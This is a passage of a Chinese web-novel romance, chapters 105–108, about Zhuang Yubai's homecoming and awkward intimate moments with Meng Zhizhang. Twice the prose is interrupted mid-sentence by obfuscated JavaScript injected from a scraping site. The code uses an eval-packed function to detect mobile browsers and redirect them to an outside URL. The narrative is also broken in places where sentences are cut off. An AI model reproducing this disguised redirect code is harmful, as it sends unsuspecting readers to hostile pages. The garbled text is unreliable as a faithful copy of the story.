苏晗今日陪家中老太太吃斋，薛启原与孟知彰对齐今日军衣进度后，便在景楼简单用过晚饭，一同回了薛家。 或许孟知彰自己也没意识到，自从听说庄聿白一行马上回来后，眸底平添了柔光。整个人的感觉也较平素稍稍活泼了。 不多时，墨儿亲自捧了个食盒来。少夫人特着小厨房炖了两盏莲子雪梨羹，润肺去燥，正适合这个季节。 “晗儿这个甜羹的方子甚好。孟兄一起尝尝。” 薛启原端了一盏给孟知彰，嘴角的弧度却怎么也压不下来。好不容易整理好表情，幸福的喜悦又从眼角溢了出来。 若非亲眼所见，谁会相信杀伐果决的商界枭雄，竟会有此羞涩小儿郎的一面。 夫唱妇随，看来二人感情较之前已经是天壤之别了。孟知彰接过尝了口，细润微甜，确实不错。原来夫妇之间感情好，旁人也能看出甜来。 两人在议事厅闲话的空档，薛家不少人来议事厅回话。当铺账房先生来对账簿；药材行掌柜交了些黄芪麦冬等样品过来，说老师傅们都验过了，只等大公子看过他们就派人去交钱收货；薛启原刚点了头，这边当铺的掌柜又走了来…… 薛启原怕怠慢了孟知彰，一遍遍着人上茶上果子，不时将一些药材小样拿与孟知彰品评。 说这批黄芪不错，质地坚韧，金盏银盘菊花心，又说庄聿白体格较弱，他可以让医馆郎中用这批黄芪专门开一个调理的方子。 孟知彰口中言谢，说他家夫郎身子确实弱些。可一想到庄聿白此前被人沉河祭身伤了身子，孟知彰心中便被狠狠揪了一把。 窗外人影憧憧。稍有动静，孟知彰的视线不觉便跟着移向窗外。当然，进来的始终都是薛家前来回话之人。 天色越来越晚，只是说最迟明日来，说不定今晚他们在城外歇看，明早再往回赶。方才孟知彰眼中的光，渐渐熄了。 茶点果子上到第三轮时，城门外查探的小厮回来了，说城门口三里外都查看了，并未见二公子和庄公子一行。 孟知彰看看天色，自己再等下去，就有些失礼了。他起身正要告辞。忽听外面街道上，一阵车马响。 小厮们一听，忙向外迎去：“说不定是二公子回来了！” 孟知彰跟着向门外看去，下意识整整衣襟，薛启原笑着邀他：“说不定是呢。我们也去门外看看。” 两人刚走至庭院，隐隐听着院外车马响似乎向远处滑去。两人正疑惑，迎头看见方才兴匆匆跑出去的小厮垂头丧气走了回来。 “根本不是二公子。不知谁家公子哥喝多了，正驾车满街跑。” “八成是骆家那位，此前行事就有些颠三倒四的，去岁武举台上被一只黑犬当众下了裤子，越发离谱了。” “大概率今春就要去西境了，府城没他几天好日子过了。” 薛启原瞪了小厮们一眼，众人忙住声。 “马上关城门了，孟兄今日在家中歇一夜，或许路上耽搁，明早他们就能回来了。” 薛启原吩咐小厮去赶紧收拾一间上好的客房出来。 “不了。明日书院还有早课，今日先行告辞。” 孟知彰恢复沉稳矜持，得体拱手辞别，一颗心却不知何时彻底沉下去。 薛启原派车送孟知彰。孟知彰没拒绝。上了车，一路无言，眼眸越来越深。 马车刚拐至正街，方才那几个御车奔驰的公子哥驾车又绕回来，冷不防冲撞到孟知彰的马车。孟知彰方才愣神，没留意，混乱中胳膊一下撞到车厢。 素来沉稳的他，心中忽然升起一团无名之火。今日他倒要看看是哪家纨绔公子哥竟这般莽撞。孟知彰深呼一口气，冰冷冷地掀帘下了车。 一个完整车队，高头大马后跟着三四辆马车，很是气派。 孟知彰眼神越发冷了。看着车队严整以待的样子，不像没有教养的浪荡公子，方才满街横撞又是何缘故！ 越过前面这几名护卫，孟知彰将冰冷的视线扫向中间那辆马车。 只一眼，皑皑松雪落，遍地桃花开。 府城早春乍暖还寒的一个寻常夜晚，三春暖风却迎面拂来。寒雪慢慢融化，潺潺清泉露出水面，渐渐泛起波澜，似乎还能听见叮咚叮咚的心跳声。 马车锦帘大敞，庄聿白和身旁一人正大说大笑着。浑然不知不远处有人的目光已经看过来，久久移不开。 一旁的薛启辰先发现异常，他忙憋住笑，推推庄聿白：“哎哎，琥珀兄，有人接你来了！” “嗯？”庄聿白冷不丁被打断，愣了下，顺着薛启辰的视线看过去。 两道视线在空中猛地撞在一起，方才还谈笑风生的庄聿白蓦然住了声。 看清来人，庄聿白努力张了张口，想像往常一样道声“孟兄好呀”，不知为何，却怎么也说不出口。 只是隔了十数日，再次见到朝夕相处的这个人，为什么有种说不上来的陌生感。庄聿白自己也不清楚。但对方那直白热切的视线，倒让他带着三分羞涩，不好意思起来。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15355434|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来了。”孟知彰站在车前，先行打了招呼。 声音沉稳如常，听不出任何情绪。 “……嗯”庄聿白喉咙一紧，低头躲开了那看过来的灼灼眼神。心跳有些紊乱，身体却不听话地开始发僵。 “……” 或许是府城主街的夜风太大，大到将那数日未见的夫夫、早积攒了满肚子要说的话、全吹散殆尽。 薛启辰伸手感受了下，并没有风。他看着不好意思的两人，笑笑，很有眼力见：“既然孟公子来接，我们便不送了。” 又悄悄推庄聿白：“嘿嘿，琥珀兄，你相公好疼你哦！加油，好好犒劳人家！” 庄聿白不知想到了什么，一句话让他羞得更加局促：“启辰兄你……” “好了，我走啦！你们小两口小别胜新婚。我们就不碍眼了。” 薛启辰从庄聿白车上下来，与夫夫二人告辞，然后带着仆役及薛家车辆浩浩荡荡走了。 关城门前，夫夫二人出了城，沿山路一路驾车回家。 空山明月夜，一路马蹄响。 方才薛启辰一席玩笑话，让此时此刻此情此景下只剩彼此的二人间，气氛更加微妙起来。 而且随着莫名沉默，这份微妙，更加开始向不可控的方向发展。庄聿白摇摇头，将脑子里的奇怪想法甩掉。 大家是朋友，是好兄弟……可眼下这种感觉，很不对。好兄弟小别重逢，不应该像与薛启辰一样谈笑风生，像与大有哥一般大聊特聊吗？ 庄聿白强行调整了下他与孟知彰两人之间的关系，咳嗽一声，带上笑容。 “孟兄近来可好？家中事，多亏了有你。好兄弟，你真棒！” 说到“好兄弟”时，庄聿白为表现得更加友好且自然，特意握起拳头，朝对方胳膊击了一拳，算是直男间的称赞礼仪。 孟知彰算半个习武之人，胳膊向来健硕有力。庄聿白或许近日和薛启辰相处时间久了，他差点以为人人都如他俩这般不堪一击。等他的拳头碰上孟知彰胳膊，瞬间就被反弹回来。 “……” 为了缓解这份诡异的尴尬，庄聿白强行笑了两声：“数日不见，孟兄真是更加健壮了呢。启辰兄前几日说的那句话，是什么来着？对了，饺子要吃烫烫的，男人要爱壮壮的……” 话一出口，庄聿白立马闭了嘴。 自己在胡说八道什么？薛启辰这半荤半素的话，自己不立马忘记就算了，竟然还在此刻拿出来讲！ 庄聿白心如死灰，石化在车上。他一个直男，觉得自己没脸再见孟知彰了。 孟知彰倒镇定许多，只淡淡回了句：“薛家二少，懂得不少。” 越描越黑，庄聿白索性选择闭嘴。 车辆在回家的路上继续驰行。不知是风凉还是脸烫。庄聿白觉得整个人像河豚一样肿胀了起来。 “咣当——”一声大响。车轮应该轧到山路石块，马车跟着猛地重重一颠。 孟知彰直起身，高抬胳膊持缰控马。 庄聿白呢，身体歪了几歪，一个不稳，一下倒进人家怀里。更确切地说，倒进人家腿上。 嗯……腿窝里。 106. 重逢 到底是男人，血气方刚的年纪。 孟知彰上身正专心持缰控马，不料身边人好巧不巧，猛地栽进自己腿窝。 腹背受敌，上下两难，孟知彰核心陡然缩紧，控缰的力度也出现了偏差波动。波动使缰绳那头的马儿一时受惊，顺势在山路飞奔起来。 突然的加速，让本就惊慌失措在人家腿窝里胡乱挣扎之人，更加乱了章法。庄聿白像溺水之人，不论软的硬的长的短的直的弯的带温度的不带温度的，一双手能抓住什么，下意识驱使下便拼命去抓什么。 “……？” “……！” 据庄聿白后来回忆，当时糊里糊涂中，或许碰到了不该触碰的地方。怎么说呢，那触感熟悉……又陌生。毕竟大家是兄弟，装备构造一致。 只是上苍造人时偏心，比自己的多用了不少料。 万幸，孟知彰耐性极好，技术极好，控制力也极好，能忍常人不能忍，能做常人所不能做。他当下控住缰绳，稳住受惊的马，将车辆扭回正轨上行驶。 月色迷离，山路崎岖，只是看似坐怀不乱之人，眉心随着怀中人乱七八糟的动作，蹙了又蹙。 随着马车平稳下来，车上二人，同时松出一口气。 庄聿白这才意识到发生了什么，他撑着对方腰腹，从对方腿窝中缓缓直起身。好在月色掩映下，没人发现他此刻的窘态已红涨到脖颈。 坐回自己软垫上的庄聿白，故作镇定地整理额前鬓发。想说句抱歉，可道歉的由头让他一时为了难。马车颠簸摔进人家怀里？还是无意中触碰了别人的同款装备？ 虽说是好兄弟，但后者还是太尴尬了，庄聿白想想都气短，他说不出口。 庄聿白手里的头发理了又乱，乱了又理。他目视前方，一点余光也不敢往身旁偏。做贼心虚一般。明明他自己什么也没做啊，即便慌乱中撞了人家，他一个习武之人，不至于撞痛，更不至于被撞坏…… 山间夜风吹上庄聿白滚烫的思绪，和他的双颊一样，凉不下来。 “你可好？” 终究是孟知彰先开了口，他持缰控马看着前方，语气云淡风轻得让庄聿白一度怀疑对方根本没说话，而随风飘散的这句话纯属自己幻听。 庄聿白自己顿了顿，忘记自己才是方才那个失礼之人，若无其事“嗯”了一声。 顶开夜色，车辆继续沿着山路往家的方向驶去，仿佛刚才的插曲根本没发生。 庄聿白开始有些不自在。不，是随着孟知彰单独在一起的时间越来越久，他自己越来越不自在。 这不正常。庄聿白自己也意识到这一点。 两人相识以来，庄聿白与孟知彰也有过几次分别，只是分别时日都不如此次这般多。或许是时间短，庄聿白已经记不得此前分别后是何种感受。但这次重逢，的的确确让他坐立不安。 庄聿白明明很想见到对方的，但见面之后的感觉却怪得要命。 就比如现在，他陪孟知彰坐在车厢外，半个时辰前还和薛启辰聊得不亦乐乎的自己，此时却像突然哑了一般。明明之前和孟知彰很谈得来的，也有许多话要同他讲，不论是族中的窑上的还是关于云先生和葡萄园之事。可为什么万千话头涌到口边，却一句也说不出？ 这不对。 很不对。 但庄聿白说不上来哪里不对。 庄聿白不讨厌孟知彰，也不是不想见对方。恰恰相反，他甚至一直期待见到孟知彰。甚至马车刚刚驶离齐物山，他就想着如果孟知彰能跟着一起就好了。 孟家庄时，庄聿白躺在和孟知彰一起躺过大半年的床上，久久不能成眠。午夜梦回，习惯性地伸手摸摸身旁，空的。 熟悉的环境，熟悉的夜晚，却摸不到那个熟悉之人。长夜漫漫，庄聿白心中泛起一阵又一阵空落落的酸涨。 不知从何时起，庄聿白已经睡觉时习惯了趁着对方睡着后，抱着对方的一只胳膊入眠。孟知彰的胳膊温热、健硕、有力，让人觉得安心。有时隔着衣衫，也能感觉到其上凸起的青筋。 庄聿白脑中的图像越来越清晰，清晰到似乎那条健硕有力的胳膊已经举到面前，清晰到已经可以看见衣衫上一丝不苟的暗纹竹叶，清晰到隐隐闻到衣袖内那熟悉的味道。 只是这一切蒙着淡淡月光，朦胧得像隔着一层不真实的梦。 梦中，身下的马车似乎也停了，鬓角头发在夜风中微微飘动。 胳膊竟然主动地往自己面前递近一些。 “怎么了？”胳膊后面是一双熟悉的眼睛，坚定中似乎带着三分柔情。 庄聿白怔了怔。 “到家了。”胳膊的主人轻轻提醒。 马车停在门前，孟知彰一副儒雅君子做派，伸出胳膊，站在那里等着扶庄聿白下车。 庄聿白这才回过神。马车不高，对方原本不需要扶自己。不过见对方坚持，庄聿白也不再推脱。好兄弟嘛，扶一把又怎么了。 他微微抬起下巴，伸手去扶举到自己面前的胳膊，这条多日未见的胳膊。手掌搭上的瞬间，庄聿白只觉一阵微微的震感从指尖传来，通过掌心、手腕，迅速蔓延至周身。庄聿白浑身一颤，一种莫名的窒息感，让他有些喘不上气。 过敏了？ 似乎察觉出对方的异常，孟知彰放缓脚步等着庄聿白的节奏。 月色下，孟知彰小心将人扶进屋，在自己常坐的椅子上坐了，燃上灯盏，又端来清水和毛巾让归家之人洗去尘土。 孟知彰简单梳洗后，背对着庄聿白，一身常服立在窗前铺床置枕。 “知道你快回来了，近日我将被子都晒了晒。” 或许太久没见到这番“贤惠”景象，庄聿白竟有些恍惚。素日端肃正经的孟知彰竟能熟练操作内宅卧榻之事，说与人听，谁会相信？ “怎么了，太久不回来，不习惯？” 自然不是。庄聿白忙向前走了两步，避开对方的视线，刚要解释两句，或者向孟知彰说两句感激操劳之类的话，一眼瞥到对方身后那床红彤彤的喜被，登时喉结发紧，后背发麻，这个人触了电般立在原地。 良久。庄聿白方艰难地咽下喉结，并舔了舔唇。 孟知彰迎回来两步：“天不早了，早些休息 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可大家是好兄弟，这么长时间都是同宿同寝，躺也躺过，睡也睡过，从未见自己紧张。今天这是怎么了？ “好。明日事，交与明日。奔波数日，今日你需要休息。”孟知彰的声音中是他固有的坚持。 庄聿白翻出一个食盒，爬下车，正要绕过孟知彰往房中走，手中一空，食盒被人轻松拎了去。 心中倒吸一口气，庄聿白跟进房中，像是为了拖延时间，开启了近况“对齐”环节。 “此行原本因着孟兄一事。果不其然，听刘叔说，云兄的家书一到，云先生低沉了许久。不过现在好了，开春了，葡萄园中活计跟着多起来，有事情忙着，云先生多从家中走出来，心情也畅通不少。对了！云先生还亲手缝制了一些衣服护膝等物，托薛家商队去西境时帮忙给带去。” 孟知彰认真听对方说完，神色认真：“运往西境的军衣马上妥当，可以一起送了去，正好大公子多做出200套专门送与云兄及其部下。不过，这些事，留待明日再处理。” “那真是太好了。”事是好事，原本也值得高兴，可庄聿白的表演似乎太过于不自然，“我还想起一件事。” 庄聿白又跑去马车上翻了一阵子，带了一个大包袱回来，摊在桌上。 “云先生自己做的几杆笔专门带给你。这两双鞋子，是牛婶做的。说你和大有哥脚一样大，你小时候也常穿她做的鞋。她还说自己活计一般，让你平时在家穿。这两个扇套子和手炉套子是粟哥儿夫夫……” 庄聿白一件一件拿出来展示给人看，眼神却不由自主闪躲，整个人也越说越恍惚，直到手腕被一只温热有力的手钳住，微微失焦的瞳孔方聚拢在这十数日未见的熟悉的眼眸上。 只是面前这双熟悉的眼眸，却带上了庄聿白不那么熟悉的侵略意味。只一眼，便让他心跳漏了一拍。 庄聿白慌乱地将视线移开，不待他挣扎，对方预判了他的预判，钳在手腕上的力气不由分说渐压渐重。 “庄聿白，你在躲我？” 107. 钳制 庄聿白被孟知彰死死钳住。 越挣扎，钳制的力气越大。 庄聿白试着挣扎几次，便果断放弃。他有自知之明，面对孟知彰这类勇夫糙汉，想硬碰硬无异于蚂蚁捍树，行不通。要讲策略。 “你……躲我？”孟知彰并不罢休，盯紧庄聿白的眼睛。 躲？好笑了。他庄聿白向来行得正坐得端，有什么好躲的。 庄聿白心中如此想，视线却始终不敢抬起。 上位者更近半步，随着光影移动一股莫名气场压下来，压得庄聿白的头越来越低。无需用眼睛看，庄聿白也知道头顶那目光中的灼灼锐气。 庄聿白的视线已经下垂到对方腰腹。孟知彰褪去书院衣衫，一身冰台色常服松松系在腰间，宽肩窄腰，健硕笔挺的腰板与看似慵懒闲散的便服搭在一起，禁欲中透出三分……魅惑？ 非礼勿视。庄聿白喉结不觉滚了一下，又慌忙移开视线，目光随着对方腰间垂下的豆绿丝绦无意识地来回游荡。 “孟兄说笑……我躲你做什么。” “孟某也想知道，琥珀兄躲我做什么……” 钳在庄聿白手腕上的力量换了方向，缓缓向豆绿丝绦主人的后腰上引。不容分说。 “……！” 这是做什么！我不躲你，但也没必要碰你吧。庄聿白指尖开始冒汗，他张开手，复又死死攥紧。非礼勿碰。 若论力量，庄聿白无论如何拗不过对方，可夜半三更，同处一室俩大男人，碰来碰去，这……这成何体统！ 手腕被紧紧牵着绕过坚韧有力的腰身向后引去……庄聿白甚至感受到了薄薄衣衫内透出的体温。 庄聿白就这样以一个半拥抱的姿势，与孟知彰面对面站在灯光下。 不出所料，被钳住的手腕，最后落在了对面之人的后腰之上。 衣衫轻薄柔软，其下的温热，坚韧有力。庄聿白鬼使神差舒展拳头，一双手慢慢贴紧，沿着线条抚摸过去。 对方跟着腰板陡然一挺，然后如往常一般，俯身下来将庄聿白拥进怀中。 拥抱很轻，像阳光下一颗轻盈的泡泡，又像泡泡中似有若无的梦境，撩动人心。 对方也屏了呼吸，怕扰了这个来之不易的梦。 根据“关系章则”，二人是可以像朋友一般拥抱的。但今天这个例行公事，在庄聿白看来似乎又有那么一点不合乎常情。 对方手上用了力气，上半身却轻轻分开些距离。 熟悉的气息萦绕在庄聿白鼻间。不知何时起，庄聿白需要闻着这个味道才能安心入睡。此次回孟家村，躺在那张熟悉的床上，庄聿白却一直辗转难眠。 时隔十数日，庄聿白终于再次闻到这个味道，却像隔了许多个世纪。庄聿白心头满满的，又有些酸酸的。 上身分开的距离不远不近。庄聿白不清楚对方要做什么，但他自己也清楚无论对方要做些什么，以自己之力是根本阻止不住的。 庄聿白索性闭了眼。以一种半交付的状态，将自己呈现在孟知彰面前。 月光微凉，鼻息温热。暂时关闭视觉的庄聿白，触觉和听觉变得异常灵敏。双手仍放在人家后腰，注意力却全然放在自己近前。因为随着逐渐靠近的鼻息，庄聿白已感觉到鬓角额发都在微微颤动。 唇瓣印向额头，是柔软的一个吻。 “……” 庄聿白的心陡然一震，脑中轰的一声，像是精心守护的牢固壁垒，正在一片片坍塌。 即便自己溃不成军，对方似乎并不打算收手。细密的吻，将庄聿白猛然蹙起的眉头缓缓抚平，又沿着鼻梁一路向下…… 庄聿白耳中嘶鸣，心鼓如雷。 他说不清楚此时自己是何种心绪。紧张？害怕？抗拒？ 都有。但又不全是。庄聿白后来才意识到，这些浮于表面的情绪之下，是期待落实的满足，是欢欣雀跃的欣喜。 庄聿白仍闭着眼。他不知道该如何接吻，他更不知道该作何应对。他浑身僵硬地等在那里，被动地，破釜沉舟的，又像飞蛾扑火，等待着那份不知是痛是痒的火舌舔舐。 凡事总会有第一次的。庄聿白别怕。他开始默默给自己打气。等气息越来越近，庄聿白双唇微张，不由自主迎了上去…… “琥珀兄为什么躲我？”双唇交碰的瞬间，头顶冷冷一声砸下来。 “什么……” 庄聿白猛地睁开眼，这才恍然回神。原来方才只是自己的幻想。自己手腕仍被人家钳制在手中。 孟知彰不依不饶，又问了一句。眼神清明严肃，甚至带着冰冷的恨意。 庄聿白怔了许久，久到自己马上透不过气来。 或许对方眼神过于咄咄逼人，或许方才幻象中的景象过于匪夷所思，被人钳住的庄聿白脑中一片空白。 为何躲对方？刚才还身正不怕影子斜，一派正气凛然之态的庄聿白，此刻没那么自信了。 因为他当下真的真的很想逃。哪怕只是从对方的怀中挣开。离得如此近，他真的不确定接下来还会发生什么，万一，我们说万一，幻想中的情景成了真，该如何是好。 庄聿白深吸一口气，不能再在这个问题漩涡中沉沦，他半缺氧的脑子快速转了转，最好的解决办法是转换话题。 “刚回来路上，迎到城外的小厮说前些日九哥儿劫了我们的货，还打伤了然哥儿他们？” 孟知彰点点头，没否认此事，但似乎也不打算多做评价。 不再继续纠缠那个躲与不躲的问题便好。庄聿白继续将对方拉进自己的逻辑思路中。 “这九哥儿怎么回事？去岁不是还要以身相许呢么，怎么近来换了性子？难道他不喜欢你了？还是说觉得自己没有机会，索性以这种方式吸引你的注意？” 或许过于紧张，庄聿白并没有仔细审核自己脱口而出的句子，有些词当真不该说出口。 他只管嘴上说个不停，若他此刻抬头，哪怕看上一眼，一定会发现面前人已经变了脸色。 孟知彰不语，轻咳一声。 跟着，钳在自己手腕上的力气，松了。庄聿白忙将手抽回来，小声埋怨：“几日不见，孟知彰你这手劲变大了，只知道欺负我……” 忽然意识到什么，庄聿白立马住了声。 “关系章则”中明确规定，除非孟知彰主动提，庄聿白绝 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庄聿白又看了眼那孤零零的坐榻。家中有被褥，睡在上面也不是不可以。但心里又好像没那么情愿。主要是这天也太冷了。一个人睡，感冒了怎么办？ 庄聿白正在原地踌躇，只见孟知彰已坐在床边，如端坐明堂的青天大老爷，一副公正严明，绝不徇私的神情，不容半分忤逆。 “过来。” 一回来就犯忌讳，惹人不高兴，确实有点不应该。但对方既然主动邀请，自己主动承认错误，低声服个软，也没什么大不了。 庄聿白磨磨蹭蹭跟到床边，撒娇小能手附体：“孟兄，刚才是我不对，不该提什么九哥儿八哥儿、喜欢不喜欢的话。好哥哥，我再不敢了。原谅我这一次吧。” 孟知彰没说话，侧身将被角掀开。 这是原谅自己了。庄聿白松了口气，开开心心翻身上了床。 不过人是健忘的，也是最会自我催眠的。自己和孟知彰只是好兄弟，好朋友。好兄弟互相取暖，同宿同寝，这也没什么关系。 躺在熟悉的枕上，蜷在熟悉的人身边，闭了眼睛的庄聿白，嘴巴却不闲着。 “茶炭生意比之前还要好呢，不过给到的分成，我全部留给了刘叔。开春葡萄园就要忙起来了，园中所需费用支出自然多起来，好在用度还够。你呢，孟兄这边如何？ 对方没回应，庄聿白继续说下去：“大有哥和周堇呢，从牛婶话里能知道，两人悬而未决。周堇被他哥派去南边收茶了，他俩也有一阵子没见到了。粟哥儿经过几个月的历炼，账目已经非常严谨有条理，他家小朋友阿禾，相貌和他阿爹很像。我还抱了抱呢，长得真是活泼可爱。” “你喜欢小孩子？”孟知彰终于接了话。 庄聿白觉得孟知彰表情怪怪的，停了手上动作，凑到对方面前仔细端详：“怎么了，你不喜欢？” “喜欢。”孟知彰从枕上侧转过来，面对面看着庄聿白，“你想不想要个自己的小孩子？” 不知道是不是幻觉，庄聿白觉得对方气息明显有些不稳。 108. [锁] [此章节已锁] 提到小孩子，庄聿白感觉对方气息开始出现波动。 月光透过窗棂照进来，朦胧又清亮。孟知彰微微支肘，侧身俯看枕上的庄聿白。 庄聿白平躺在那里，眼睁睁看着身边人上身猛地凌驾自己之上。同时覆盖过来的，是一股极具侵略感的气压。 庄聿白脑中轰地炸开了。 “安慰”孟知彰的手，不知何时收回，当下正半防御地护在胸前。指尖透着一些凉意，大抵是渗出的汗。 直到此时，庄聿白方想起来一件至关重要的、让他后背发冷的事情——他自己也是个哥儿。和粟哥儿一样是可以生娃的哥儿。 或许和孟知彰日夜相处太过熟悉，或许孟知彰此人向来谦和有礼、君子作派，让庄聿白不经意间便放松了警惕。他忘记了对方是个男人，是可以让自己怀孕的男人。 更何况，外人眼中二人就是合法夫夫。夫夫间孕育生子，人伦常态，天经地义。 庄聿白的心一点点揪紧。随着近在咫尺的男性荷尔蒙气息越来越浓，从上而下压过来，庄聿白的呼吸也不觉跟着变得粗重。 夜深人静，孤男寡男，同寝同卧，如纱月色下还提什么生娃不生娃的，孟知彰这是要做什么？ 庄聿白想不明白，或者说他不愿去想明白。 非常不合时宜，方才幻想中那个绵长的吻又冒了出来。心被揪紧的同时，庄聿白脸上一阵阵发烫。他用力咽了咽喉结。他知道，若眼前人真想将幻想弄成真，此时的他无处可逃，也无路可遁。 他说不好方才为何会有那般幻想，他也说不好若此时孟知彰对他用强，他要如何反抗。或者说该以什么理由反抗，能不能成功反抗。 活了近二十年，连初吻的滋味都没尝过，人生体验属实有些贫瘠。他庄聿白一个大直男，感情生活一片空白。亲吻的滋味，并不是不想尝尝，这不是没找到合适的人嘛。 怎么说呢，若是和好兄弟试一下……大家都是男生，也没有谁占谁便宜之说。彼此互惠互利，不失为一个解决方案。 念头一出，庄聿白自己也吓了一跳。这太离经叛道了。他睫羽轻颤，小心翼翼抬眸向上瞄去。 孟知彰散了头发，漆黑如墨，瀑布般从坚实肩头垂下，漫入庄聿白眼底。随着越俯越近，如注瀑流在下位者眸底越盈越满，暗暗搅弄风雨。 不会真的要……庄聿白瞳孔地震，他马上要透不过气了，不得不微微启开双唇，让气息从唇齿间细细缠过。 万一真亲下来，究竟要怎么做，才能不暴露自己是个生手？ 莫名其妙的胜负欲，开始莫名其妙作祟。 庄聿白胸前的拳头握得更紧，手心已经汗津津。值此一发千钧的紧急时刻，他满脑子竟然只有这一个不合时宜的念头。这不应该。 很快，庄聿白又向前想了一步。大家只是好兄弟。好兄弟的优势就在于聚散便利。若不小心搞出个孩子来，等要分开时，孩子怎么办？ 而且有了娃，从奶娃喂养开始，到读书习字，延师择校，再到一堆兴趣班、补习班，光是想想就够庄聿白头疼的了。 退一万步讲，皮肉上的损失，吃亏也好占便宜，尚且好办。孩子，还是别了吧。至少现在，他庄聿白还有更重要的事情去做。他不能拖着个绊脚的孩子。 关于孩子，庄聿白脑中闪回一件事。薛家出城迎他们的小厮提到，现在满府城都传开了，孟知彰自己亲口承认，他是庄聿白的赘婿，不仅安心吃软饭，将来有了孩子还会跟着姓庄。 庄聿白只当有人胡乱编排，但见那小厮不像随意玩笑之人，且薛家素来敬重孟知彰，更不会拿此事开玩笑，也便勉强信了八九分。 孟知彰竟当众提及孩子问题，看来在他的人生规划中有子嗣这一环。可以理解。在当下这个时代，不孝有三，无后为大。 虽说孟知彰人前公然宣称孩子随自己姓庄，可我们是兄弟，兄弟不能有孩子。 这是原则。 听闻这一消息，薛启辰第一个笑着凑上前来打趣。奇怪的是，庄聿白并没有恼，不仅没恼，私心里甚至有丢丢……暖暖的开心。 不过此刻的庄聿白已经被眼前之人禁锢得有些缺氧，头脑也开始发昏了。他搞不清楚对方是怎么想的，他连自己是如何想的也不甚清楚。 但有一点他清楚，不能有孩子。 庄聿白将相识以来与孟知彰做过的所有“不合规”的亲密接触全想了一遍。同食同床，应该问题不大。嗯……那用手“安慰”对方，应该也不会有问题，因为主动权在自己这里，自己是出力方，要怀孕也不会是自己。可抱一抱呢？ 自从将“抱抱”加入关系章则中，这个合法权益的使用频率还是很高的。 作为一个现代科学文明教育下成长起来的新青年，庄聿白自然知道造人原理。可眼下这个时代，他一个大男人都能怀胎生仔，现代科学那一套，在当下或许跟本行不通。 换做从前，若有人说拥抱一下能怀小朋友，对庄聿白来说简直是天方夜谭。可此时的庄聿白明显不那么确定了。 抱一抱尚不好说，那亲吻呢？亲吻可是实打实地涉及到体-液交换。有交换，岂不是更易孕？ 孟知彰已经整个凌驾过来，正正悬在自己上方。见自己没反抗，健壮的右臂跨过自己，撑向里侧。 墨发彻底倾泻而下，有一缕甚至撩至庄聿白脸颊，随气息浮动轻轻蹭上他脸颊，如蚂蚁爬过心间，痒痒的。 ……真的要来了吗？ 庄聿白一阵燥热，后背又不时发冷。冷热交替间，他真的要昏过去了。 “抱一抱……不会就有小孩子的吧！” 庄聿白问得怯生生，心虚得很。护在胸前的两个拳头攥得更紧了些，甚至有些发抖。 其实他想问的是“亲一下会不会怀孕”，但此时“亲吻”两个字无论如何说不出口。 “嗯？” 孟知彰看过来的眼神怪怪的，语气中也含着不解。 即便此前没人告诉庄聿白一个哥儿如何能怀上孩子。但庄聿白与薛启辰这个府城纨绔在一起待了这么久，孟知彰不信，这个年轻人但凡提起就兴奋不已的话题，对方怎么会忍住不跟他讨论。既然讨论到这个话题，那更近一步的议题，如何怀孕，势必也会谈及。 难道眼前人真的以为抱一抱就能有孩子？不过庄聿白一脸无辜的模样，像是当了真。孟知彰眼角弯起溢出些柔情。眼前人，萌萌的，天真烂漫得如早春风中摇曳的一朵小雏菊。 “庄聿白，睁眼。” 孟知彰声音柔缓，像是怕把如水月光惊出涟漪。更像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15410768|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕惊到怀中人而将眼下这份难得的亲密距离荡开。 庄聿白没敢动，他宛如一只鸵鸟，仿佛只要闭了眼，一切就不存在。 预想中的吻，并没有来。 黑暗中，左肩被柔软的被子轻轻盖好。 等他睁开眼睛，孟知彰已带着他那一瀑墨发和令人窒息的压迫感，从自己身上退了下去。 庄聿白抽噎似地长长缓了口气。刚才太过紧张，浑身僵硬挺在那里，此时方觉被子里的自己有些酸疼。他正准备伸伸腿脚放松下。 刚刚躺回自己枕上的枕边人，又支肘侧身俯过来。 庄聿白的手，猛地攥紧被角，，他真的是半分也不敢动了。 孟知彰对上亮晶晶的黑眼珠：“庄聿白，你真的好可爱。”片刻又觉得不够，跟着补了句， “我见犹怜。” 庄聿白瞳孔震荡几下。 从小到大，从未有人用这个词形容过自己。我见犹怜，他心中默念一遍，这话换做旁人来说庄聿白一定就恼了。但话从孟知彰口中说出，显得那样自然，那样恰如其分。 庄聿白眼神闪躲，带出几分羞涩。不过他是受过高等教育的新时代好青年，最讲究礼尚往来。别人当面夸了他，基本的社交礼仪标准告诉他，他也需夸回去才不算失礼。他咬了下唇，略略做了点心理准备，开了口。 “孟知彰，你也可爱。”庄聿白别开了视线，不然他一定能看到孟知彰眼中从未流露过的震惊、喜悦。 “刚才的问题，你还没回答我。” “嗯？” “抱一抱，会不会怀小朋友……” “不会。放心。” 温热的手臂从直接被子里探过来，将人捞进怀中，抱住，胸膛贴胸膛。 庄聿白不仅没有反抗，甚至随着对方的身体曲线，适当调整自己的角度。既然不会怀小朋友，那好兄弟，抱一抱真的没什么。只是……只是此刻是在床上，衣服穿的也有点少。 但关系章则中写了这一条。君子一言驷马难追，哪怕□□的情况下，似乎也不能反悔。 